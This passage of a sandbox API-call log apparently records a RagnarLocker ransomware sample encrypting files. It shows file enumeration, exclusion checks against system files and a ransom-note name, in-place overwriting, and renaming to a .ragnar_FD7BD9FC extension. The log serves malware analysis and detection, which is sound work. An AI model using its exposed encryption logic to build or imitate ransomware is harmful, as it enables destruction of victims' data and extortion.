hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.243] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0051.243] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.243] GetProcessHeap () returned 0x580000 [0051.243] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0051.243] CloseHandle (hObject=0x100) returned 1 [0051.244] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" [0051.244] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.ragnar_FD7BD9FC" [0051.245] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0051.245] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0051.245] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0051.245] lstrcpyW (in: lpString1=0x1eb636, lpString2="MS.GIF" | out: lpString1="MS.GIF") returned="MS.GIF" [0051.245] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned=".GIF" [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="autorun.inf") returned 1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="boot.ini") returned 1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="bootfont.bin") returned 1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="bootsect.bak") returned 1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="bootmgr") returned 1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="bootmgr.efi") returned 1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="bootmgfw.efi") returned 1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="desktop.ini") returned 1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="iconcache.db") returned 1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="ntldr") returned -1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="ntuser.dat") returned -1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="ntuser.dat.log") returned -1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="ntuser.ini") returned -1 [0051.245] lstrcmpiW (lpString1="MS.GIF", lpString2="thumbs.db") returned -1 [0051.246] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0051.246] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0051.246] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0051.246] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0051.246] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0051.246] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0051.246] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0051.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0051.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0051.246] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1069) returned 1 [0051.246] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.246] GetProcessHeap () returned 0x580000 [0051.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0051.246] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0051.248] VirtualAlloc (lpAddress=0x0, dwSize=0x42d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0051.248] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.248] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0051.248] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x42d, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x42d, lpOverlapped=0x0) returned 1 [0051.248] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0051.248] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x42d, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.248] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x42d, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x42d, lpOverlapped=0x0) returned 1 [0051.249] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x42d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.249] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.249] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x42d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.249] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.249] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.249] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.249] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0051.249] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.249] GetProcessHeap () returned 0x580000 [0051.249] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0051.249] CloseHandle (hObject=0x100) returned 1 [0051.250] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" [0051.250] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.ragnar_FD7BD9FC" [0051.250] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0051.250] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0051.250] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0051.251] lstrcpyW (in: lpString1=0x1eb636, lpString2="MS.JPG" | out: lpString1="MS.JPG") returned="MS.JPG" [0051.251] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned=".JPG" [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="autorun.inf") returned 1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="boot.ini") returned 1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="bootfont.bin") returned 1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="bootsect.bak") returned 1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="bootmgr") returned 1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="bootmgr.efi") returned 1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="bootmgfw.efi") returned 1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="desktop.ini") returned 1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="iconcache.db") returned 1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="ntldr") returned -1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="ntuser.dat") returned -1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="ntuser.dat.log") returned -1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="ntuser.ini") returned -1 [0051.251] lstrcmpiW (lpString1="MS.JPG", lpString2="thumbs.db") returned -1 [0051.251] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0051.251] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0051.251] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0051.251] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0051.251] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0051.251] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0051.251] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0051.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0051.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0051.252] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1061) returned 1 [0051.252] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x41c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.252] GetProcessHeap () returned 0x580000 [0051.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0051.253] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0051.254] VirtualAlloc (lpAddress=0x0, dwSize=0x425, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0051.254] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.254] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0051.254] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x425, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x425, lpOverlapped=0x0) returned 1 [0051.254] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0051.254] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x425, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.254] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x425, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x425, lpOverlapped=0x0) returned 1 [0051.255] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x425, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.255] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.255] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x425, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.255] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.255] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.255] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.255] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0051.255] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.255] GetProcessHeap () returned 0x580000 [0051.255] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0051.255] CloseHandle (hObject=0x100) returned 1 [0051.256] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" [0051.256] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.ragnar_FD7BD9FC" [0051.256] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0051.256] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0051.256] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0051.256] lstrcpyW (in: lpString1=0x1eb636, lpString2="MS.PNG" | out: lpString1="MS.PNG") returned="MS.PNG" [0051.256] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned=".PNG" [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="autorun.inf") returned 1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="boot.ini") returned 1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="bootfont.bin") returned 1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="bootsect.bak") returned 1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="bootmgr") returned 1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="bootmgr.efi") returned 1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="bootmgfw.efi") returned 1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="desktop.ini") returned 1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="iconcache.db") returned 1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="ntldr") returned -1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="ntuser.dat") returned -1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="ntuser.dat.log") returned -1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="ntuser.ini") returned -1 [0051.257] lstrcmpiW (lpString1="MS.PNG", lpString2="thumbs.db") returned -1 [0051.257] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0051.257] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0051.257] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0051.257] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0051.257] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0051.257] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0051.257] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0051.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0051.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0051.257] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1682) returned 1 [0051.257] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x689, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.257] GetProcessHeap () returned 0x580000 [0051.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0051.258] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0051.259] VirtualAlloc (lpAddress=0x0, dwSize=0x692, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0051.259] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.259] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0051.259] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x692, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x692, lpOverlapped=0x0) returned 1 [0051.259] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0051.260] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x692, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.260] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x692, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x692, lpOverlapped=0x0) returned 1 [0051.260] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x692, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.260] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.260] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x692, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.260] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.260] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.260] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.260] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0051.260] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.260] GetProcessHeap () returned 0x580000 [0051.260] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0051.260] CloseHandle (hObject=0x100) returned 1 [0051.261] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" [0051.261] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program 